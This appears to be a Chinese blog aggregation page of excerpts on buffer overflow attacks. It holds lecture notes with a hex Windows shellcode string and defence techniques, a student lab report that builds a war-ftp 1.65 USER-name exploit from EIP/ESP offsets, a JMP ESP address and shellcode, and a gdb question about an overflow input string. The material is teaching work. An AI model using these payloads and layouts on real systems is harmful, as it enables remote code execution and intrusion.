精华内容
下载资源
问答
  • war-ftp缓冲区攻击代码

    2010-11-05 09:31:18
    war-ftp缓冲区攻击代码,利用socket向目标主机发送user longstring \r\n命令
  • 利用缓冲区溢出实现在本地或者远程系统上实现任意执行代码的目的,从而进一步达到对被攻击系统的完全掌控; 利用缓冲区溢出进行DoS(Denial of Service)攻击; 利用缓冲区溢出破坏关键数据,使...

    缓存区与缓存区溢出

    1. 缓冲区的定义
      连续的一段存储空间。
    2. 缓冲区溢出的定义
      指写入缓冲区的数据量超过该缓冲区能容纳的最大限度,造成溢出的数据改写了与该缓冲区相邻的原始数据的情形。
    3. 缓冲区溢出的危害
      利用缓冲区溢出实现在本地或者远程系统上实现任意执行代码的目的,从而进一步达到对被攻击系统的完全掌控;
      利用缓冲区溢出进行DoS(Denial of Service)攻击;
      利用缓冲区溢出破坏关键数据,使系统的稳定性和有效性受到不同程度的影响;
      4.缓冲区溢出的根本原因:主要是因为分配内存的时候没有检测缓冲区的边界,当分配的内存超过缓冲区容纳的最大的限度时,就会发生溢出,导致溢出的函数有:Strcpy、Strcat、Gets、Sprintf等,这些函数都没有检测数值边界。

    缓存区攻击模式

    攻击者主要是利用溢出来覆盖某些空闲块头部指针,进而进行重定向到恶意程序,进而进行攻击。恶意数据可以通过命令行参数、环境变量、输入文件或者网络数据注入。
    在这里插入图片描述

    进程在内存中的布局

    1.代码段:放置程序的可执行代码
    2.数据段:放置初始化的全局变量和初始化的局部静态变量
    3.BBS段:放置未初始化的全局变量和未初始化的局部静态变量
    4.堆:可以进行内存的动态分配
    5.堆栈:用于存放函数中的局部变量、函数参数、返回地址、调用函数的栈基址。
    6.进程的环境变量和参赛
    在这里插入图片描述
    在这里插入图片描述

    缓冲区溢出的位置

    1.堆栈
    2.堆
    3.数据段
    4.BBS段
    在这里插入图片描述

    堆栈溢出

    函数调用过程及溢出原理

    1.参数入栈
    2.保存指令寄存器中的内容,作为返回地址
    3.当前的EBP入栈
    4.把ESP指针中的值拷到EBP中
    5.为本地变量留出一定的空间,把ESP减出适当的值
    那么调用函数前入栈的参数有:传给函数的参数、函数的局部变量等
    调用后:恢复EBP、恢复eip、局部变量不变
    溢出原理:
    1.通过缓冲区溢出修改栈中的返回地址
    2.当函数调用返回时,eip的地址为修改后的地址,并执行shellcode

    堆栈的缓冲区溢出

    溢出实例如下:
    实例1:

    void  function(char *str)
    {
    	char buffer[4];
    	strcpy(buffer, str);
    }
     void main (int argc, char **argv)
    {
    	char large_string[8];
    	int i;
    	for(i=0; i<8; i++)
    		//large_string的长度为8
    	   large_string[i]=‘A’
    	 //下面函数内部的变量数组的长度为4,发生溢出
    	function(large_string);
    }
    

    实例2:

    char shellcode[]= 
    "\x41\x41\x41\x41\x41\x41\x41\x41"//填充buffer的8字节; 
    "\x41\x41\x41\x41"//覆盖掉EBP 
    "\x12\x45\xfa\x7f"//覆盖返回后的EIP,windows中JMP ESP通用地址,ESP即指向下代码:                   
    "\x33\xC0\x50\xC6\x04\x24\x6C\xC6\x44\x24\x01\x6C\x68"
    "\x52\x54\x2E\x44\x68\x4D\x53\x56\x43\x8B\xC4\x50\xB8"  
    "\x77\x1D\x80\x7C" //LoadLibraryA()
    "\xFF\xD0\x33\xC0\x50\xC6\x04\x24\x63\xC6\x44\x24\x01"
    "\x6F\xC6\x44\x24\x02\x6D\x68\x61\x6E\x64\x2E\x68\x63"
    "\x6F\x6D\x6D\x8B\xC4\x50\xB8"
    "\xC7\x93\xBF\x77" //system的地址
    "\xFF\xD0";
    void main() 
    {   
    char buffer[8]={0}; 
      unsigned int i;
      strcpy(buffer,shellcode);  
    } 
    

    堆溢出

    堆溢出实例代码:

    void main(int argc, char **argv)
    {
        char *buf1 = (char *) malloc(16);
        char *buf2 = (char *) malloc(16);
        strcpy(buf1,”AAAAAAAAAAAAAAA”);
        strcpy(buf2, argv[1]);
    }
    

    当在控制端输入的字符串长度大于16时,则会发生溢出,正常情况下和溢出情况下的示意图如下:
    在这里插入图片描述

    堆溢出分析

    1. 同LINUX一样,Windows的HEAP区是程序动态分配一块内存区域,动态分配和释放对象,用于事先不知道程序所需对象数量和大小或者对象太大不适合堆栈分配的情况。

    2. 程序员一般调用C函数malloc/free或者C++的new/delete或者WIN32
      API函数HeapAlloc/HeapFree来动态分配内存,这些函数最终都将调用ntdll.dll中的RtlAllocateHeap/
      RtlFreeHeap来进行实际的内存分配工作,所以只需要分析RtlAllocateHeap/RtlFreeHeap。

    3. 当分配的堆在存储数据时超过了所分配的内存空间,就会产生堆溢出。

    4. 对于一个进程来说可以有多个HEAP区,每一个HEAP的首地址以句柄来表示:hHeap,这也就是RtlAllocateHeap的第一个参数。
      每个HEAP区的整体结构如下:
      在这里插入图片描述

    5. heap总体管理结构区存放着一些用于HEAP总体管理的结构。

    6. 双指针区存放着一些成对出现的指针,用于定位分配内存以及释放内存的位置。

    7. 用户分配内存区是用户动态分配内存时实际用到区域,也这是HEAP的主体。

    8. 当调用RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T
      dwBytes)来分配内存时将进行以下操作:
      1.对参数进行检查,如果dwBytes过大或小于0都按照出错处理,根据dwFlags来设置一些管理结 构;检查是否为DEBUG程序,对于DEBUG的程序与实际运行的程序每个内存块之间的结构是不同的 。
      2.根据要分配的内存的大小(dwBytes)决定不同的内存分配算法,我们只分析小于1024 bytes的情况;
      3.从双指针区找到用户内存区的末尾位置,如果有足够的空间分配所需的内存,就在末尾+dwBytes+8的位置放置一对指针来指向双指针区的指向用户内存区末尾位置的地方;
      4.在后面同时设置双指针区的指向用户内存区末尾位置的指针指向进行完分配之后的用户内存区末尾位置。

    9. 两块连续分配的内存块之间并不是紧挨着的,而是有8字节的管理结构,最末尾的一块内存后面还另外多了8字节的指针指向双指针区。
      假设有以下程序:
      buf1 = HeapAlloc(hHeap, 0, 16);
      buf2 = HeapAlloc(hHeap, 0, 16);
      连续分配了两块16字节内存,实际在内存中(用户分配区)的情况是这样的:
      在这里插入图片描述

    10. 在第二次分配内存的时候会利用第一块内存管理结构后面那两个指针进行一些操作,其中会有一次写内存的操作:
      mov [ecx], eax
      mov [eax+4], ecx
      在这里插入图片描述

    11. 假设分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即大于16字节,就会发生溢出,当覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就会把一个4字节的内容写入一个地址当中,而这个内容和地址都是能够控制的,这样我们就可以控制函数的流程转向的shellcode了。

    数据段的缓冲区溢出

    下面是一个导致数据段溢出的程序,在该程序中可以看到程序对buf数组进行了不合理的内存分配导致该数组越界。

    void Overflow_Data(char* input)
    {
        static char buf[4]=”CCCC”;
        int i;
        for (i = 0; i < 12 ; i++) 
           buf[i] = ‘A’;
     }
    

    溢出攻击实例

    栈溢出的攻击实例

    在分析栈溢出的攻击实例前,先分析一下Win32对废弃栈的处理,对废弃栈的处理一共含有三种模式。

    Win32对废弃栈的处理

    NSR模式

    在下图中,R指向了Shellcode地址, 但执行“mov esp,ebp”恢复调用者栈信息时,Win32会在被废弃的栈中填入一些随机数据。
    在这里插入图片描述
    该模式下的攻击代码有:

    #include<stdio.h>
    int main(int argc,char **argv)
    {
    	char buf[500];
    	strcpy(buf,argv[1]);
    	printf("buf 0x%8x\n",&buf);
    	getchar();
    	return 0;
    }
    

    NRS模式

    当函数执行返回指令时,程序跳转到shellcode所在的地方,栈在1G(~0x00FFFFFF)以下
    如果R直接指向Shellcode,则在R中必然含有空字节‘\0’. Shellcode将被截断。原理图如下:
    在这里插入图片描述
    攻击的示例代码如下:
    在这里插入图片描述

    R.S模式

    该溢出模式主要是使用环境变量来发生溢出,进而执行shellcode,Win32平台无SUID机制,本地溢出没有意义,同样会由于R中含空字节会被截断,原理图如下:
    在这里插入图片描述

    堆栈缓冲区溢出的危害

    1. 改写返回地址
    2. 改写调用函数栈的栈帧地址
    3. 改写函数指针
    4. 改写虚函数指针
    5. 改写异常处理指针
    6. 改写数据指针

    基于堆的缓冲区溢出

    1. 在Linux中,堆空间按照Doug Lea算法实现动态分配。
    2. 在C程序中,标准库函数malloc()/free()用于从堆中动态申请/释放块;对于C++程序,相应函数为new/delete。

    缓冲区溢出攻击的防御技术

    类型安全的编程语言

    Java, C#, Visual Basic,Pascal, Ada, Lisp, ML属于类型安全的编程语言。

    相对安全的函数库

    例如在使用C的标准库函数时,做如下替换
    strcpy -> strncpy
    strcat -> strncat
    gets -> fgets
    缺点
    使用不当仍然会造成缓冲区溢出问题。

    修改的编译器

    1.增强边界检查能力的C/C++编译器:
    例如针对GNU C编译器扩展数组和指针的边界检查。Windows Visual C++ .NET的GS 选项也提供动态检测缓冲区溢出的能力。
    2.返回地址的完整性保护
    将堆栈上的返回地址备份到另一个内存空间;在函数执行返回指令前,将备份的返回地址重新写回堆栈。
    许多高性能超标量微处理器具有一个返回地址栈,用于指令分支预测。返回地址栈保存了返回地址的备份,可用于返回地址的完整性保护
    3.缺点:
    性能代价
    检查方法仍不完善

    内核补丁

    1.将堆栈标志为不可执行来阻止缓冲区溢出攻击;
    2.将堆或者数据段标志为不可执行。
    3.例如Linux的内核补丁Openwall 、 RSX、 kNoX、ExecShield和PaX等实现了不可执行堆栈,并且RSX、 kNoX、ExecShield、PaX还支持不可执行堆。另外,为了抵制return-to-libc这类的攻击,PaX增加了一个特性,将函数库映射到随机的内存空间
    4.缺点:对于一些需要堆栈/堆/数据段为可执行状态的应用程序不合适;需要重新编译原来的程序,如果没有源代码,就不能获得这种保护

    静态分析方法

    字典检查法
    1.遍历源程序查找其中使用到的不安全的库函数和系统调用。
    2.例如静态分析工具ITS4、RATS (Rough Auditing Tool for Security)等。其中RATS提供对C, C++, Perl, PHP以及Python语言的扫描检测。
    3.缺点:误报率很高,需要配合大量的人工检查工作
    程序注解法
    1.包括缓冲区的大小,指针是否可以为空,输入的有效约定等等。
    2.例如静态分析工具LCLINT、SPLINT (Secure Programming Lint)。
    3.缺点:依赖注释的质量

    动态检测方法

    输入检测方法
    1.向运行程序提供不同的输入,检查在这些输入条件下程序是否出现缓冲区溢出问题。不仅能检测缓冲区溢出问题,还可以检测其它内存越界问题。
    2.采用输入检测方法的工具有Purify、Fuzz和FIST(Fault Injection Security Tool)。
    3.缺点:系统性能明显降低。输入检测方法的检测效果取决于输入能否激发缓冲区溢出等安全问题的出现。
    Canary-based 检测方法
    1.将canary(一个检测值)放在缓冲区和需要保护的数据之间,并且假设如果从缓冲区溢出的数据改写了被保护数据,检测值也必定被改写。
    2.例如动态检测工具StackGuard、StackGhost、ProPolice、PointGuard等。
    3.缺点:多少工具通过修改编译器实现检测功能,需要重新编译程序;这种方法无法检测能过绕过检测值的缓冲区溢出攻击

    基于硬件的防御技术

    1.Intel/AMD 64位处理器引入称为NX(No Execute)或者AVP(Advanced Virus Protection)的新特性,将以前的CPU合为一个状态存在的“数据页只读”和“数据页可执行”分成两个独立的状态。
    2.ELF64 SystemV ABI通过寄存器传递函数参数而不再放置在堆栈上,使得64位处理器不仅可以抵制需要注入攻击代码的缓冲区溢出攻击还可以抵制return-to-libc这类的攻击。

    参考资料:

    教材:
    李毅超 曹跃,网络与系统攻击技术 电子科大出版社 2007
    周世杰 陈伟 钟婷,网络与系统防御技术 电子科大出版社 2007
    参考书:
    阙喜戎 等 编著,信息安全原理及应用,清华大学出版社
    Christopher M.King, Curitis E.Dalton, T. Ertem Osmanoglu(常晓波等译). 安全体系结构的设计、部署与操作,清华大学出版社,2003(Christopher M.King, et al, Security Architecture, design, deployment & Operations )
    William Stallings,密码编码学与网络安全-原理与实践(第三版),电子工业出版社,2004
    Stephen Northcutt, 深入剖析网络边界安全,机械工业出版社,2003
    冯登国,计算机通信网络安全,2001
    Bruce Schneier, Applied Cryptography, Protocols, algorithms, and source code in C (2nd Edition)( 应用密码学 -协议、算法与C源程序, 吴世忠、祝世雄、张文政等译)
    蔡皖东,网络与信息安全,西北工业大学出版社,2004

    展开全文
  • 实验二:缓冲区溢出实验(war-ftp 1.65)一、实验目的1、掌握缓冲区溢出的原理缓冲区是程序运行期间在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型...缓冲区溢出攻击的目的一般在于取得程序...

    实验二:缓冲区溢出实验(war-ftp 1.65)

    一、实验目的

    1、掌握缓冲区溢出的原理

    缓冲区是程序运行期间在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。溢出就是所填充的数据超过原有的缓冲区边界,使程序按照其他的流程运行。缓冲区溢出就是向固定长度的缓冲区中写入超出其预告分配长度的内容,造成缓冲区中数据的溢出,从而覆盖了缓冲区周围的内存空间。缓冲区溢出攻击的目的一般在于取得程序的控制权。

    2、掌握常用的缓冲区溢出方法

    攻击者一般在程序的特定的位置植入攻击代码,然后通过适当的构造寄存区和内存让程序跳转到特定的攻击者安排的特定位置,从而达到控制程序的目的。

    3、理解缓冲区溢出的危害

    与其他的攻击方式相比,缓冲区溢出攻击更具有破坏性和隐蔽性,破坏性在于它极容易使程序停止运行、服务器死机甚至删除服务器上的数据,隐蔽性在于编写的程序员很可能没有意识到,且植入的代码执行时间短,而且不会影响程序的运行,不一定会被发现。

    4、掌握防范和避免缓冲区溢出攻击的方法

    首先要避免使用的编程语言中的bug,做好使用函数的边界检查;使用更安全的编译器进行编译,严格进行边界检查;使用更安全的高级语言来避免出现这种错误;设置缓冲区地址空间的属性为不可执行,使得攻击代码不可执行从而避免攻击,即非执行缓冲区技术;保护系统信息,关闭不需要的服务,使用最小权限原则,及时打补丁来避免。

    二、实验环境

    本实验是在Windows XP SP2环境中,于VM ware虚拟机上进行的,对于war-ftp 1.65的漏洞进行分析和实践,从而深入了解和分析war-ftp 1.65漏洞。

    三、实验工具与背景

    1、实验工具

    本实验重点分析的是war-ftp 1.65的缓冲区溢出漏洞,使用到的调试工具是CDB和OllyDBG。

    ① War-ftp1.65:一个带有缓冲区漏洞的免费开源的FTP服务器软件,支持大多数的Windows系统。

    ② CDB:Debugging Tools for Windows,调试工具

    ③ 堆栈指针定位工具:ActivePerl,提供perl的运行环境;安装metasploit后frameworklib的PatternCreate.pl用于构造一个不重复的超长字符串;framework/sdk下的patternOffset.pl用于计算前面字符串中某段字符的地址偏移量。

    实验背景

    在课件中已经指出,war-ftp漏洞是:向服务器发送超过480字节的用户名可以出发漏洞(即使用命令USER longStringrn),溢出之后,ESP中的内容包含了longString中的部分内容。本实验通过对该漏洞的分析分析堆栈中EIP、ESP、EBP的位置,从网络上找到已有的shellcode,利用该软件的缓冲区溢出漏洞完成打开计算机的计算器的功能。

    四、实验过程

    1、验证War-ftp v1.65基于用户名的缓冲溢出漏洞

    与助教老师演示的另外一个实验一样,我们首先直接对war-ftp输入不同长度的字符’A’,观察不同长度的字符’A’输入会不会触发缓冲区溢出。

    首先,打开war-ftp 1.65,设置成online状态,然后打开命令行,输入ipconfig,查看本机的ip地址:

    320f31163d11fd299f76b8ff0e4fd152.png

    93f9649a519e8514fa20b4c2d6448ac8.png

    然后输入ftp -n,并且连接到本机地址:172.16.245.140 21:

    1c9610b17c3a287297b212793bcb9850.png

    然后,分别使用不同长度的用户名进行登录尝试:100个’A’,发现war-ftp 1.65没有崩溃,只是没有成功登录。

    29afd7b2737ce13372b6e8354a23c185.png

    55bf793cbdd19d701f1f584a965b9f1a.png

    构造1000个’A’进行连接,发现程序会崩溃,我这里程序直接退出了:

    2b9a3dd941852aca2f8b101cdfccaedf.png

    接下来,用cdb进行调试来证明程序崩溃了,重新打开war-ftp,并且使用ftp连接上,输入user ‘A’*1000但是不要回车准备调试。再打开一个cmd窗口,输入cdb -fn war-ftpd.exe进行调试,打开后输入g使程序运行起来:

    c78fed190c13ce110d178e1a96b2f76e.png

    70094f1b2eb483129f6714b5cd594695.png

    在ftp的命令行页面,输入1000个’A’的用户名和密码回车运行:

    0cd53824545ed526df2d4a85d0c87997.png

    可以观察到:

    a24a4018321d7a2710ba195b97e052a0.png

    eip的位置全部被A的ASCII码值41填充,用dd esp命令可以查看esp寄存器中的值,也全部被41填充:

    10c4f522c6036c008e6167afaaf93e72.png

    这里war-ftp程序已经无法点击了,我们可以验证这个缓冲区溢出漏洞会导致程序崩溃,而且根据eip和esp全部被41填充,可以通过构造特殊的不重复字符串找到eip和esp被填充的字符串从而找到偏移地址从而构造最后的shellcode来调用系统计算器。

    1. 通过构造不重复字符串作为用户名来查看偏移地址

    重新打开软件和命令行,首先通过给出的perl程序来生成1000个不重复的字符串:

    Perl patternCreate.pl 3.txt 1000

    04af407fa5a70b9c60626eaaa22c24e6.png

    利用和上述一样的方法来调试这个程序,截图如下:

    利用不重复字符串作为用户名:

    b47531f8e533002bdea0f81690e58655.png

    尝试连接后的调试结果:

    5c66602f58611616748452e581388ded.png

    eip、esp和ebp的内容如下:

    ff38fd16416faad00a17a2b07e36a641.png

    这里我们可以看到eip指向位置的内容为:32714131,esp指向位置的内容为71413471,ebp指向位置的内容为34744133,接下来通过patternOffset.pl来Return Address即eip指向的位置和esp、ebp位置的在1000个字符中的偏移量,我们通过如下命令看到:

    e5416a07d1f9c839b07f397575861fd3.png

    EIP偏移量为485(从0开始),ESP偏移量为493,EBP偏移量为581。可以得到war-ftp1.65的堆栈图为:

    cd10caab244df932f4cff1753baafbd6.png
    1. 通过构造字符串来完成最后的攻击程序

    这里仿照助教老师使用ESP作为跳转的寄存器,所以我们需要JMP ESP的指令地址,这里助教老师已经给出了地址:JMP ESP:0x7ffa4512。我们要把在网上找到运行计算器的shellcode放在JMP ESP位置。

    通过构造字符串,

    buffer = "x90"*485

    buffer += "x12x45xfax7f"

    buffer += "x90"*12

    buffer += shellcode

    buffer += "x90"*12

    最终得到了攻击的Python代码:

    0eff106952a5a4b2cbaedf662d94b040.png

    执行时记得要打开war-ftp 1.65并连接,执行后的结果是:

    5dd1bd56892ed65a2e76c7d0a2bac394.png

    五、实验体会与收获

    这次实验我遇到了很多的问题:

    首先是cdb的Symbol路径,每一次准备调试都报错,于是查了一上午资料才发现助教老师给的视频中也存在这个错误,但是我还是下载好了对应的版本从而解决了这个问题。

    其次是调试的步骤,虽然我会一些编译器的调试过程,但是对于这个调试过程却不知怎么进行,一开始输入g之后任何东西都不动了还以为出了问题,后来才知道要先g,然后再提交输入的用户名。

    还有最重要的一点也是收获最多的一点就是我学会了如何利用shellcode来构造攻击代码,也进一步深刻理解了函数的寄存器和栈帧结构,也进一步复习了函数的执行过程。

    除了上一个收获之外,我还了解了cdb的基本调试指令,认识到了缓冲区溢出漏洞的危害之大,所以我们在日常开发中必须要做好边界检查,而且要认真保护操作系统,只有不断提高系统的安全性,我们才能大规模避免缓冲区溢出漏洞。

    更多的收获就是一定要亲手实践才能获得好知识!

    展开全文
  • 关于缓冲区攻击溢出问题,ubuntu 2011-11-04 00:29 080484c0 : 80484c0: 55 push %ebp 80484c1: 89 e5 mov %esp,%ebp 80484c3: 8d 45 e8 l...
    关于缓冲区攻击溢出问题,ubuntu
    2011-11-04 00:29


    080484c0 <getbuf>:
    80484c0: 55 push %ebp
    80484c1: 89 e5 mov %esp,%ebp
    80484c3: 8d 45 e8 lea -0x18(%ebp),%eax
    80484c6: 83 ec 28 sub $0x28,%esp
    80484c9: 89 04 24 mov %eax,(%esp)
    80484cc: e8 5f ff ff ff call 8048430 <getxs>
    80484d1: 89 ec mov %ebp,%esp
    80484d3: b8 01 00 00 00 mov $0x1,%eax
    80484d8: 5d pop %ebp
    80484d9: c3 ret
    80484da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi

    080484e0 <test>:
    80484e0: 55 push %ebp
    80484e1: 89 e5 mov %esp,%ebp
    80484e3: 83 ec 08 sub $0x8,%esp
    80484e6: c7 04 24 04 86 04 08 movl $0x8048604,(%esp)
    80484ed: e8 76 fe ff ff call 8048368 <printf@plt>
    80484f2: e8 c9 ff ff ff call 80484c0 <getbuf>
    80484f7: 89 44 24 04 mov %eax,0x4(%esp)
    80484fb: c7 04 24 15 86 04 08 movl $0x8048615,(%esp)
    8048502: e8 61 fe ff ff call 8048368 <printf@plt>
    8048507: 89 ec mov %ebp,%esp
    8048509: 5d pop %ebp
    804850a: c3 ret
    804850b: 90 nop
    804850c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi

    gdb为:
    (gdb) x/w $ebp
    0xbfffefe8: 0xbfffeff8
    (gdb) x/w ($ebp+4)
    0xbfffefec: 0x080484f7
    (gdb) x/w ($ebp-4)
    0xbfffefe4: 0x0028bff4
    (gdb) x/w ($ebp-0x18)
    0xbfffefd0: 0xbfffeff8
    (gdb) x/w ($ebp-24)
    0xbfffefd0: 0xbfffeff8
    所以输入数据应该为:
    b8 ef be ad de 68 f7 84 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 ef ff bf d0 ef ff bf

    改为下面这样也是不行啊
    b8 ef be ad de 68 f7 84 04 08 c3 00 00 00 00 00 00 00 00 00 f4 bf 28 00 f8 ef ff bf d0 ef ff bf
    攻击代码地址为:d0 ef ff bf
    是因为这句 <getbuf>
    80484c3: 8d 45 e8 lea -0x18(%ebp),%eax
    她分配了24个字节空间,所以攻击代码地址有下面的命令得到,
    (gdb) x/w ($ebp-24)
    0xbfffefd0: 0xbfffeff8

    由于为buf分配了24个字节的空间,所以在我的输入后面补了好多的00,一直补到24个字节,这段代码好象没有gs验证码问题(从汇编代码中可以看到)

    我也是在ubuntu下工作的,用的gcc版本为3.*
    展开全文
  • 在网上看的文章,说蠕虫、木马等病毒是利用缓冲区来运行病毒,大概意思就是:通过修改正常程序... 所以我想问的是——既然我的电脑有这样一层防护,那么真正的蠕虫类型病毒,它们如何才能利用缓冲区攻击我的电脑??
  • 理解了函数调用的一般原理,下面记录一下缓冲区溢出带来的攻击问题。 其实道理很简单,buf是一个指向局部变量(是一个字符数组)的一个指针参数,传给某个接口,书中以gets为例,但是gets存在漏洞(它不检查...

    在阅读《深入理解计算机系统》第三章,程序的机器级表示的时候,解开了以前学习C语言的时候的一些疑惑,在这里稍做记录。

    程序在调用另一个程序的时候涉及下面的这个数据结构——栈帧,这个数据结构是实现整个过程的关键。

    这里写图片描述

    调用者程序调用(call指令)另一个被调用者程序的时候,首先调用者程序将将当前程序计数器的值(下一条指令的地址)保存(push)在栈帧中,再跳转到被调用者程序。然后被调用者程序保存原来的帧指针(%ebp),并且跟新%ebp使得它指向栈底,然后通过减少栈指针(%esp)的值给程序自身分配栈空间,用于存放被调用者程序需要保存的寄存器值,被调用者函数所需的局部变量,临时变量,以及需要传递给它所调用函数的参数,最后被调用者程序调用ret指令返回到之前保存的程序计数器的值所指向的程序的地址。

    以上是针对IA32架构的,新的x86-64架构,引入了更多的寄存器(从8个到16个)从而对程序调用产生了影响,当然工程师们出于其它原因的考虑还做了优化。总结如下:

    • 参数(最多是前6个)通过寄存器传递到过程,而不是在栈上。这消除了在栈上存储和检索值的开销。
    • callq指令将一个64位地址存储在栈上。
    • 函数最多可以访问超过当前栈指针128个字节的栈上存储空间。这允许一些函数将信息存储在栈上而无需修改栈指针。
    • 没有帧指针,作为替代,对栈位置的引用相对于栈指针。大多数函数在调用开始时分配所需要的整个栈存储,并保持栈指针指向固定位置。

    理解了函数调用的一般原理,下面记录一下缓冲区溢出带来的攻击问题。

    这里写图片描述

    其实道理很简单,buf是一个指向局部变量(是一个字符数组)的一个指针参数,传给某个接口,书中以gets为例,但是gets存在漏洞(它不检查buf缓冲区的大小),如果程序用户通过gets输入的字符串大于buf的大小,就会覆盖保存%ebp的地方以及程序的返回地址,如果在返回地址上覆盖上攻击者代码的指针,那么攻击者就可以调用自己的程序胡作非为了。
    针对这种攻击方法,现在已经有一些方法了。分别是
    1.栈随机化,从而无法在攻击字符串中嵌入攻击代码程序的指针。2.栈破坏检测。3.限制可执行代码的区域。

    展开全文
  • 答案为: fizz.txt: 直接将要返回的地址覆盖原地址就行了 ...
  • asp.net连接普天身份证阅读器,读卡后有时会显示缓冲区攻击,有时正常,网页自动关闭?怎么办?
  • 缓冲区溢出攻击

    2021-02-06 20:32:00
    缓冲区攻击有栈溢出、堆溢出、格式化字符串漏洞、整形变量溢出等。本文将主要介绍堆栈溢出攻击,并实现对一个ubuntu 16.04系统的简单的栈攻击,获取其root权限。 实验平台 操作系统:SEED Ubuntu16.04 VM (32-bit
  • 缓冲区溢出以及缓冲区溢出攻击

    千次阅读 2020-08-31 21:35:06
    缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。溢出的数据覆盖在合法数据上。理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串。但是绝大多数程序都会假设数据长度...
  • 主题:[请教]我想实现缓冲区溢出攻击。就是原程序读取一个字符串。我输入一个特殊的字符串,覆盖掉原返回地址,使其执行在栈里的代码。但是当执行到栈里代码时,就会 段错误 而退出。请问这个是不是现在linux内核禁止...
  • 缓冲区溢出攻击实践

    万次阅读 多人点赞 2015-01-30 00:12:16
    缓冲区溢出攻击方法是黑客入门的基础,本文以一个具体的实例一步步介绍如何进行最初级的缓冲区溢出攻击

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,430
精华内容 972
关键字:

缓冲区攻击